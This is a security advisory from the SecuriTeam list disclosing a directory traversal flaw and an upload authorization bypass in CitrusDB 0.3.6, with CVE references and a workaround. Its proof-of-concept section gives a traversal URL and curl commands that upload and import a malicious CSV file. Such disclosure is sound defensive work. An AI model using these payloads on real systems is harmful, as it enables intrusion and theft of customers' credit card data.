[UNIX] CitrusDB Directory Traversal and Arbitrary File Upload

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  CitrusDB Directory Traversal and Arbitrary File Upload
------------------------------------------------------------------------


SUMMARY

" <http://www.citrusdb.org/> CitrusDB is an open source customer database 
application that uses PHP and a database backend (currently MySQL) to keep 
track of customer information, services, products, billing, and customer 
service information. The program will run on any PHP enabled web server."

Two security vulnerabilities have been discovered in CitrusDB: a directory 
traversal, that allows access to files that would be otherwise 
inaccessible, and uploading of arbitrary CSV files, that allows uploading 
of malicious content which is then inserted into the database.

DETAILS

Vulnerable Systems:
 * CitrusDB version 0.3.6

Directory Traversal:
CitrusDB uses a wrapper script (./citrusdb/tools/index.php) to load 
different modules and tools. The GET parameter "load" specifies which file 
should be included. With a relative path appended any .php file, that may 
be accessed by the script, on the server can be included.

Proof of Concept:
To include /tmp/exploit.php use:
http:///citrusdb/tools/index.php?load=../../../../../../tmp/exploit
Note: You need to be logged in to access this URL.

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0411> 
CAN-2005-0411

Upload Authorization Bypass:
The files./citrusdb/tools/importcc.php and ./citrusdb/tools/uploadcc.php 
do no authorization checks. This means that any user logged in may upload 
a CSV file containing credit card data. He also gets knowledge of the path 
to the temporary file that stores the uploaded credit card data and may 
fetch additional uploaded credit card data if the file is accessible via 
HTTP. In addition, he may perform an SQL-Injection by uploading a 
malicious CSV file.

Proof of Concept:
To upload the exploit.cvs file:
curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor" http://<target>/citrusdb/tools/uploadcc.php --form 
[email protected] --form Import=Import

Note: The cookie has to be adjusted to an existing user.

This imports the file to the credit card database:
curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b; 
user_name=testor"
"http://<target>/citrusdb/tools/index.php?load=importcc&submit=on"

Note: The cookie has to be adjusted to an existing user.

No data will be imported if the CSV file is empty, the administrator 
probably wouldn't notice that the temporary file is now empty but the 
attacker gets the path to the temporary file and may access data that is 
uploaded in the future if the path is inside document root.

Workaround:
Disable the uploading of CSV data e.g. by setting the path for the 
temporary CSV file ($path_to_ccfile) to a non-writable directory.

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0409> 
CAN-2005-0409


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:[email protected]> Maximillian Dornseif.
The original article can be found at:  
<http://tsyklon.informatik.rwth-aachen.de/redteam/advisories/rt-sa-2005-003> http://tsyklon.informatik.rwth-aachen.de/redteam/advisories/rt-sa-2005-003



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.